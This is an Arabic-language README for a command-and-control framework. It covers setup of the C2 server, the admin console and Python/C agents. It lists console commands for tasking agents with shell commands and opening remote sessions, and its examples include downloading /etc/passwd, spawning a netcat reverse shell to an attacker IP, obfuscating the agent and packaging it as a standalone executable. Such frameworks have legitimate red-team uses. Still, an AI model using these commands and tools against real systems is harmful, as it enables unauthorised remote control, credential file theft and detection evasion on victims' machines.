Linux لملفي admin.py و c2_server.py. (غير مُختبر على Windows)
apt install libcurl4-openssl-dev libb64-dev
apt install openssl
pip3 install -r requirements.txt

# إذا كنت ترغب في تأمين مفتاحك بعبارة مرور، استبعد الوسيط -nodes
openssl req -x509 -newkey rsa:4096 -keyout server.key -out server.crt -days 365 -nodes

python3 admin.py

python3 c2_server.py

# عميل Python
python3 agent.py

# عميل C
gcc agent.c -o agent -lcurl -lb64
./agent

الأوامر:

  task add arg c2-commands
    إضافة مهمة إلى عميل، أو إلى مجموعة، أو إلى جميع العملاء.
    arg: يمكن أن يأخذ القيم التالية: 'all' 'type=Linux|Windows' 'your_uuid' 
    c2-commands: القيم الممكنة هي c2-register c2-shell c2-sleep c2-quit
      c2-register: يطلب من العميل التسجيل مرة أخرى.
      c2-shell cmd: يأخذ أمر shell ليقوم العميل بتنفيذه. مثال: c2-shell whoami
         cmd: الأمر المطلوب تنفيذه.
      c2-sleep: يضبط الفاصل الزمني الذي سيتحقق فيه العميل من وجود مهام.
      c2-session port: يطلب من العميل فتح جلسة shell مع الخادم على هذا المنفذ.
         port: المنفذ للاتصال. إذا لم يتم توفيره، يكون الافتراضي 5555.
      c2-quit: يفرض على العميل الخروج.

  task delete arg
    حذف مهمة من عميل أو من جميع العملاء.
    arg: يمكن أن يأخذ القيم التالية: 'all' 'type=Linux|Windows' 'your_uuid' 
  show agent arg
    يعرض معلومات عن جميع العملاء المتاحين أو عن عميل محدد.
    arg: يمكن أن يأخذ القيم التالية: 'all' 'type=Linux|Windows' 'your_uuid' 
  show task arg
    يعرض مهام عميل أو جميع العملاء.
    arg: يمكن أن يأخذ القيم التالية: 'all' 'type=Linux|Windows' 'your_uuid' 
  show result arg
    يعرض السجل/نتائج عميل أو جميع العملاء.
    arg: يمكن أن يأخذ القيم التالية: 'all' 'type=Linux|Windows' 'your_uuid' 
  find active agents
    يحذف قاعدة البيانات بحيث يتم تسجيل العملاء النشطين مرة أخرى.

  exit
    وداعاً!


الجلسات:

  sessions server arg [port]
    يتحكم في معالج الجلسات.
    arg: يمكن أن يأخذ القيم التالية: 'start' , 'stop' 'status' 
    port: المنفذ اختياري للوسيط start وإذا لم يتم توفيره، يكون الافتراضي 5555. هذه الوسيطة تحدد منفذ خادم الجلسات.
  sessions select arg
    يختار الجلسة التي تريد الاتصال بها.
    arg: الفهرس من نتيجة 'sessions list' 
  sessions close arg
    يغلق جلسة.
    arg: الفهرس من نتيجة 'sessions list' 
  sessions list
    يعرض الجلسات المتاحة
  local-ls directory
    يسرد على مضيفك الملفات الموجودة في الدليل المحدد
  download 'file'
    يقوم بتحميل 'الملف' محلياً في الدليل الحالي
  upload 'file'
    يقوم برفع ملف إلى الدليل الذي يتواجد فيه العميل حالياً

# عرض جميع العملاء المتاحين
show agent all

# لجميع العملاء
task add all c2-shell id

# التحقق من نتائج الأمر "id"
show result all

# التحقق من نتائج عميل محدد
show result 85913eb1245d40eb96cf53eaf0b1e241

# لتعيينه لجميع العملاء
task add all c2-sleep 30

# العثور على العميل/المعرف الفريد
show agent all

# تمكين الخادم من قبول الاتصالات
sessions server start 5555

# إضافة مهمة لجلسة إلى العميل المفضل لديك
task add your_prefered_agent_uuid_here c2-session 5555

# عرض قائمة الاتصالات المتاحة
sessions list

# اختيار الاتصال بإحدى الجلسات، لنختر 0
sessions select 0

# تشغيل أمر
id

# تحميل ملف passwd محلياً
download /etc/passwd

# سرد ملفاتك محلياً للتحقق من إنشاء passwd
local-ls

# رفع ملف (test.txt) في الدليل الذي يتواجد فيه العميل
upload test.txt

# العودة إلى واجهة الأوامر الرئيسية
go back

# التحقق مما إذا كان الخادم قيد التشغيل
sessions server status

# إيقاف خادم الجلسات
sessions server stop

# عرض جميع العملاء المتاحين
show agent all

# أولاً افتح netcat على جهازك
nc -vnlp 4444

# إضافة مهمة لفتح reverse shell لعميل محدد
task add 85913eb1245d40eb96cf53eaf0b1e241 c2-shell nc -e /bin/sh 192.168.1.3 4444

python3 obfuscator.py

# ولتشغيل العميل، كالمعتاد
python3 obs_agent.py

gunicorn -w 4 "c2_server:create_app()" --access-logfile=- -b 0.0.0.0:5000 --certfile server.crt --keyfile server.key 

pip install pyinstaller
pyinstaller --onefile agent.py

cd tests/
py.test

# pip3 install pytest-cov
python -m pytest --cov=Commander --cov-report html